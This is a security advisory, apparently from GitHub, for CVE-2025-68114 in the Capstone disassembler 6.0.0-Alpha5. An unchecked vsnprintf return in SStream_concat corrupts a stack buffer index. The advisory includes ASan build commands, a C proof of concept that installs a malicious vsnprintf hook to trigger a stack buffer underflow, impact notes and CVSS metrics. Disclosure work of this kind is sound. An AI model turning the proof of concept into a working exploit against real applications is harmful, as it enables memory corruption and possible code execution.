Skip to content

Unchecked vsnprintf return in SStream_concat allows stack buffer underflow&overflow

Moderate
Rot127 published GHSA-85f5-6xr3-q76r Dec 17, 2025

Package

No package listed

Affected versions

6.0.0-Alpha5

Patched versions

None

Description

Summary

Unchecked vsnprintf return in SStream_concat lets a malicious cs_opt_mem.vsnprintf drive SStream’s index negative or past the end, leading to a stack
buffer underflow/overflow when the next write occurs.

Details

  • Vulnerable path: SStream_concat adds ret from cs_vsnprintf directly to ss->index without validating that it is non-negative and within remaining buffer
    space (SStream.c:227-244). A negative return underflows index; an oversized return skips overflow checks.
  • Subsequent writes in SStream_concat1 use the corrupted index, writing before or beyond ss->buffer (stack-allocated), corrupting stack memory.
  • The vsnprintf hook is attacker-controlled via cs_option(CS_OPT_MEM) (include/capstone/capstone.h:280-290, cs.c:1037). Any embedding that allows
    untrusted code to install a custom cs_opt_mem can be exploited.
  • Affected build tested: git describe → 6.0.0-Alpha5-34-g9a0a1607 (Capstone 6.0.0 build).

PoC

Reproduces stack buffer overflow with AddressSanitizer on macOS (AppleClang 17):

Build ASan-instrumented library

cmake -B build-asan -DCMAKE_BUILD_TYPE=Debug
-DCMAKE_C_FLAGS="-fsanitize=address -fno-omit-frame-pointer"
-DCMAKE_SHARED_LINKER_FLAGS="-fsanitize=address"
-DCMAKE_EXE_LINKER_FLAGS="-fsanitize=address"
cmake --build build-asan -j4

PoC (uses custom vsnprintf returning -1)

  cat > poc_sstream.c <<'EOF'
  #include <capstone/capstone.h>
  #include <stdio.h>
  #include <stdlib.h>
  #include "SStream.h"

  static int evil_vsnprintf(char *str, size_t size, const char *fmt, va_list ap)
  {
      (void)str; (void)size; (void)fmt; (void)ap;
      return -1; // forces index underflow
  }

  int main(void)
  {
      cs_opt_mem mem = { .malloc = malloc, .calloc = calloc, .realloc = realloc,
                         .free = free, .vsnprintf = evil_vsnprintf };
      cs_option(0, CS_OPT_MEM, (size_t)&mem);

      SStream ss;
      SStream_Init(&ss);
      SStream_concat(&ss, "%s", "AAAA"); // index += -1
      SStream_concat1(&ss, 'B');         // writes before buffer => crash/ASan hit
      return 0;
  }
  EOF

clang -fsanitize=address -Iinclude poc_sstream.c build-asan/libcapstone.a -o poc_sstream
ASAN_OPTIONS=halt_on_error=0:abort_on_error=0 ./poc_sstream

ASan reports stack-buffer-overflow in SStream_concat1.

Impact

  • Vulnerability: Stack buffer underflow/overflow leading to memory corruption and potential code execution in the process using Capstone.
  • Who is impacted: Applications that let untrusted plugins/scripts set cs_option(CS_OPT_MEM) (or otherwise control cs_vsnprintf) while using SStream (all
    printers). Not reachable by mere untrusted input alone; requires the ability to set Capstone’s memory hooks.

Severity

Moderate

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Local
Attack complexity
Low
Privileges required
Low
User interaction
Required
Scope
Unchanged
Confidentiality
Low
Integrity
Low
Availability
Low

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:U/C:L/I:L/A:L

CVE ID

CVE-2025-68114

Weaknesses

No CWEs

Credits